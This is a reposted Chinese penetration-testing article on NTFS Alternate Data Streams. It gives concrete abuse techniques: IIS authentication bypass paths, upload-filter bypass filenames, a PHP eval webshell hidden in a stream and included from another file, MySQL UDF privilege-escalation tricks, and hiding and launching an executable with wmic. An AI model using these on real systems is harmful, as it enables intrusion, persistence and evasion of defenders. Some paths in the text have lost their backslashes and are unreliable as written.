43

Windows下的ADS NTFS交换数据流

 5 years ago
source link: https://drops.org.cn/PENETRATION/win-ADS-NTFS.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

前言

NTFS 是微软 NT 系列内核支持的较为安全先进的磁盘文件格式。 NTFS 数据交换流(简称 ADS )是 NTFS 磁盘的一个特性。每个文件都可以存在多个数据流,虽然我们无法看到数据流文件,但是它却是可以真实存在于我们的系统中的。

NTFS 文件流

所有的文件在 NTFS 上都至少包括一个流: 主流

即我们平时可以看见的可以存储数据的文件。一个流的全名包括一下三个部分

<文件名>:<流名称>:<流类型>

NTFS 流全称为 NTFS交换数据流 ,ADS的诞生是为了兼容HFS。HFS---分层文件系统,是由苹果公司推出的文件系统,其工作模式是将不同的数据存在不同的分支文件,文件数据存放在数据分支而文件参数存放在资源分支。ADS有点类似文化的属性一样,依附于文件的传统边界之外。

每一个文件都有着主文件流和非主文件流。主文件流能够直接看到,而非主文件流寄宿于主文件流中,无法直接读取。

注:

  1. 修改宿主文件的内容不会影响流的内容
  2. 修改流的内容不会影响宿主文件的内容

完整的流的格式:

<filename>:<stream name>:<streamtype>

filename : 宿主文件的文件名

stream name :流名

stream type : 流类型

用户不能创建一个新的流类型,流类型总是以$符号开始。

对于 NTFS 格式下的一个文件而言,至少包含一个流,即 data 流(其 stream type 为$DATA), data 流逝文件的主流,默认的 data 流其 stream name 为空, ADS 可以省略 stream name ,但不能省略 stream type 。默认一个文件如果被指派了流,而该流没有 stream type 的话会在存储时自动添加 $DATA ,但在查询结果中需要去除 $DATA ,否则会出现参数错误。

对于文件夹而言,没有 data 流,其主流逝 directory 流,( stream type$INDEX_ALLOCATION ), directory 流默认的 stream name$130 。尽管文件夹默认没有 data 流,但用户可以指派 data 流。

利用

IIS目录访问权限绕过

在IIS6.0+PHP、IIS7+asp、IIS7.5+php的环境下,如果目录是通过 HTTP Basic 来认证,假设其目录下油index.php文件,我们可以通过构造如下方式来绕过认证直接访问目录下的文件。

/admin::$INDEX_ALLOCATION/index.php
/admin:$i30:$INDEX_ALLOCATION/index.asp

Bypass 黑名单严重上传

上传的文件名     服务器表面现象     生成的文件内容
Test.php:a.jpg      生 成Test.php    空
Test.php::$DATA        生成test.php     <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION        生成test.php文件夹            
Test.php::$DATA\0.jpg   生成0.jpg    <?php phpinfo();?>
Test.php::$DATA\aaa.jpg     生成aaa.jpg    <?php phpinfo();?>

上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据文件流,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。

由于Windows会无视'/',''这两个符号前面的东西,只识别这两个符号后面的字符串。因此,上述会生成0.jpg

隐藏webshell

如果index.php是一个网页正常文件,我们可以

echo ^<?php @eval(request[cmd])?^>  > index.php:hidden.jpg

这样就会生成一个不可见的shell。常规的文件管理器、type、dir等命令都是无法发现的。可以在另一个正常文件中将这个ADS文件include进去,

<?php include("index.php:hidden.jpg")?>

这样就可以正常解析一句话,而难以被发现。

UDF提权中的作用

在Mysql5.1以上,在加载自定义函数的Dll时,要求目录必须是mysql目录下的libplugin目录。直接导入C:windowssysten32这种目录不能直接加载dll。但由于MySQL5.1之后的版本在安装的时候默认不存在libplugin目录。

另外一种情况是webshell的权限限制比较死,没有办法去新建libplugin目录。或者只有一个MySQL的弱口令,此时利用ADS可以Bypass这个限制。

利用ADS突破限制建立目录:

select 'It is dll' into dumpfile 'C:\\Program Files (x86)\\MySQL\\MySQL S
erver 5.1\\lib::$INDEX_ALLOCATION';

elect 'It is dll' into dumpfile 'C:\\Program Files (x86)\\MySQL\\MySQL S
erver 5.1\\lib\\plugin::$INDEX_ALLOCATION';

利用ADS隐藏木马

type muma.exe test.txt:muma.exe

注意:需要使用type命令才能将二进制可执行文件写入。

数据流中如果是可执行文件,用start命令调用时,需要在win xp和2003环下,win7下失败。

使用供选数据流绕过路径限制

前面提到的在UDF提权中绕过路径限制的原理就是:数据流类型为INDEX_ALLOCATION,属于文件夹类型,所以创建了一个文件夹。

在互联网下载文件时,Windows系统可能会通过流名称悄悄地添加区域标识符。

例如:如果我们下载"putty.exe",Windows会创建"putty.exe:Zone.Identifier:$DATA"。

可以使用dir /r 命令来看到这些流名称。

带有数据流的文件啊是不能通过type命令直接读取的。而可以通过notepad读取文件。

技巧:可以把重要的信息,或者程序在ADS中存储。例如:

将putty.exe 复制到ADS中,然后通过wmic调用(不能通过start直接调用):

wmic process call create C:\Users\test\test:putty.exe

ADS还有一个很好的特性---我们可以在文件夹中添加ADS。前提是在文件夹里拥有“创建文件夹”权限。

例如:

在windows中一个普通用户无法在C:windows创建文件,而只有管理员可以写这个文件夹,假设普通用户写入C:windowstest:test.dll。如果这个路径现在传递在一个遍历文件夹的Windows API,这个API将从路径的末尾开始,直到找到一个"",将其剩下的所有内容作为文件夹返回。将返回C:windows作为文件夹。如此,我们通过这个方式在window文件夹中创建了一个文件。

又例如:

如果某个web应用程序,上传的数据存储在 application\uploadedData\ 中,而应用程序允许从application启动脚本或程序。而不允许从applicationuploadeddata启动脚本或应用程序。

如果用户上传一个名为 :foo.ps1 的文件,系统将创建一个类似于applicationFolderuploadedData:foo.ps1的ADS。因此可以绕过安全检查。

创建无法通过"..."文件夹找到的文件

在Windows中,每个文件夹默认包含两个特殊条目,"."和"..",在windows上不能通过名称中的点创建文件或文件夹。

不能创建一个"..."或"...."的文件夹。可以通过:$INDEX_ALLOCATION技巧来绕过。

echo 123 > ...::$INDEX_ALLOCATION
也可以通过将名称传递两次来创建。
mkdir ....\....\

可以利用这个技巧在文件夹存储文件。

EbquyeY.png!web

如图:无法仅使用名称进入文件夹(例如:“cd …”或“cd …”或“cd ……”不起作用),必须使用“cd ……”的语法。进入文件夹之后可以在这个文件夹里创建文件。

此外,也不可能从GUI (explorer.exe)打开这个文件夹。双击这个文件夹也没有用。通过GUI (explorer.exe)搜索这个文件夹中的文件也不起作用,而通过CMD进行搜索是没有问题的。而Powershell也不能找到这个文件。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK